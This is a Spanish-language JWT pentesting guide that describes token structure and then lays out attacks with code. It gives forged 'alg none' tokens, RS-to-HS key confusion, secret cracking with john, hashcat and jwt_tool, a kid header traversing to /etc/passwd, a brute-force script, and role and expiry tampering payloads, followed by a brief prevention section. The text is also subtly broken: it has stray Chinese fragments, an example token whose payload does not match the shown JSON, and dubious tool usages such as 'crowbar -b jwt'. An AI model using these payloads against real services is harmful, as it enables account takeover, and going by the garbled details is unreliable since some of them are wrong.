JWT (JSON Web Token) - Guía Completa

JWT (JSON Web Token) - Guía Completa

1. Fundamentos de JWT

1.1 Qué es JWT

JWT es un estándar para crear tokens de acceso que permiten la transmisión segura de información entre partes como objetos JSON. Es comúnmente usado para autenticación y autorización en APIs REST.

1.2 Estructura del JWT

Un JWT tiene tres partes separadas por puntos:

header.payload.signature

Ejemplo:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9sbCIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header (Cabecera)

Contiene el algoritmo de firma y el tipo de token:

{
  "alg": "HS256",
  "typ": "JWT"
}

codificado en Base64URL: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Payload (Carga útil)

Contiene los claims (declaraciones):

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "admin": true
}

codificado en Base64URL: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9sbCIsImlhdCI6MTUxNjIzOTAyMn0

Signature (Firma)

Verifica que el mensaje no ha sido modificado. Se calcula con:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret_key
)

2. Claims Standard

2.1 Registered Claims

Claim Descripción
iss Issuer (emisor)
sub Subject (sujeto)
aud Audience (audiencia)
exp Expiration Time (tiempo de expiración)
nbf Not Before (no antes de)
iat Issued At (emitido a las)
jti JWT ID (identificador único)

2.2 Public Claims

Claims definidos por el usuario pero registrados en el IANA:

  • name, email, role, permissions

2.3 Private Claims

Claims personalizados para compartir información entre partes que acuerdan usarlos:

{
  "username": "admin",
  "role": "administrator",
  "department": "IT"
}

3. Algoritmos de Firma

3.1 Algoritmos Simétricos (HMAC)

Algoritmo Descripción
HS256 HMAC con SHA-256
HS384 HMAC con SHA-384
HS512 HMAC con SHA-512

Problema: Si el servidor acepta múltiples algoritmos, un atacante puede cambiar de HS256 a None.

3.2 Algoritmos Asimétricos (RSA/EC)

Algoritmo Descripción
RS256 RSA con PKCS#1 v1.5 SHA-256
RS384 RSA con PKCS#1 v1.5 SHA-384
RS512 RSA con PKCS#1 v1.5 SHA-512
ES256 ECDSA con P-256 SHA-256
ES384 ECDSA con P-384 SHA-384
ES512 ECDSA con P-521 SHA-512

4. Técnicas de Ataque

4.1 Algorithm None Attack

El servidor ignora la firma si el algoritmo se establece como “None”:

import jwt
token = jwt.encode({"user": "admin"}, "", algorithm="none")
print(token)

Payload a enviar:

{
  "alg": "none",
  "typ": "JWT"
}
{
  "alg": "none",
  "user": "admin"
}

Detección:

# Verificar si acepta none
jwt.decode(token, options={"verify_signature": False})

4.2 Key Confusion Attack (RS to HS)

Cuando el servidor usa RSA para firmar pero acepta HMAC:

  1. Obtener la clave pública del servidor
  2. Crear un token usando la clave pública como clave HMAC
  3. Enviar con algoritmo HS256

Pasos:

# Obtener clave pública (de certificado o JWKS)
public_key = """-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""

# Firmar con HMAC usando la clave pública
import jwt
token = jwt.encode(
    {"user": "admin"},
    public_key,
    algorithm="HS256"
)

4.3 Weak Secret Attack

Si la secret es débil, se puede crackear:

# Con john
john --wordlist=rockyou.txt jwt_hash.txt

# Con hashcat
hashcat -m 16500 -a 0 jwt.txt wordlist.txt

4.4 Crackear JWT con jwt_tool

# Instalar
pip install jwt_tool

# Crackear
jwt_tool <token> -d wordlist.txt

# Fuerza bruta
jwt_tool <token> -C

4.5 Crackear con crowbar

# Instalar
pip install crowbar

# Uso
crowbar -b jwt <token> -d wordlist.txt

4.6 JWK Injection

Si el servidor usa JWK (JSON Web Key) para verificar:

{
  "alg": "RS256",
  "kid": "valid-key"
}

Un atacante puede añadir su propia clave al JWK endpoint:

#Enumerar JWKS
curl https://target.com/.well-known/jwks.json

4.7 Kid (Key ID) Injection

Si el token usa kid para seleccionar la clave:

token = jwt.encode(
    {"user": "admin", "kid": "../../../../etc/passwd"},
    "secret",
    algorithm="HS256",
    headers={"kid": "../../../../etc/passwd"}
)

5. Herramientas

5.1 jwt_io (Decoder)

Página web: https://jwt.io/

Permite decodificar y verificar JWTs.

5.2 jwt_tool

# Decodificar
jwt_tool <token>

# Crackear dictionary
jwt_tool <token> -d rockyou.txt

# Crackear rainbow
jwt_tool <token> -C

# Forge nuevo token
jwt_tool <token> -S new_secret

# Explotar none attack
jwt_tool <token> -N

5.3 jwt爆破

import jwt
import time

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

with open("wordlist.txt") as f:
    for word in f:
        word = word.strip()
        try:
            jwt.decode(token, word, algorithms=["HS256"])
            print(f"Found: {word}")
            break
        except:
            continue

5.4 Crear Token con Python

import jwt
import datetime

# Crear token
token = jwt.encode(
    {
        "user": "admin",
        "role": "administrator",
        "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
    },
    "secret_key",
    algorithm="HS256"
)

print(token)

# Decodificar
decoded = jwt.decode(token, "secret_key", algorithms=["HS256"])
print(decoded)

6. Payload Útiles

6.1 Escalación de Privilegios

{
  "user": "admin",
  "role": "user"
}

Cambiar a:

{
  "user": "admin",
  "role": "administrator"
}

6.2 Bypass de Expiración

Quitar el claim exp:

{
  "user": "admin",
  "exp": null
}

6.3 Cambiar Usuario

{
  "user": "other_user"
}

Cambiar a:

{
  "user": "admin"
}

6.4 Claims Comunes

# Añadir expiration futura
exp: 1893456000

# Añadir issued at
iat: 1516239022

# Remover claims de tiempo

7. Prevención

7.1 Recomendaciones para Desarrolladores

  1. Usar algoritmos asimétricos (RS256, ES256)
  2. Validar el algoritmo esperado
  3. Verificar la clave mediante kid o jku
  4. Usar secretos fuertes
  5. Validar expiración
  6. No信任ar algoritmos múltiples

7.2 Configuración Segura

import jwt

# Siempre especificar algoritmo
jwt.decode(
    token,
    secret,
    algorithms=["HS256"],
    options={
        "verify_signature": True,
        "verify_exp": True,
        "verify_aud": False
    }
)

7.3 Bibliotecas Seguras

Lenguaje Biblioteca recomendada
Python PyJWT
Node.js jsonwebtoken
Java jjwt
Go jwtgo

8. Checklist de Pentesting

8.1 Enumeración

1. Capturar JWT
2.Identificar algoritmo
3. Ver estructura (header.payload.signature)
4.Enumerar endpoint de JWKS

8.2 Ataque

1. Probar Algorithm None
2. Probar Key Confusion
3. Crackear secret debil
4. Injección de kid
5. Modificar payload

8.3 Verificación

1. Probar token modificado
2. Verificar con PyJWT
3. Documentar hallazgos

9. Referencias

  • OWASP: https://owasp.org/www-project-web-security-testing-guide/
  • jwt.io: https://jwt.io/
  • jwt_tool: https://github.com/ticarpi/jwt_tool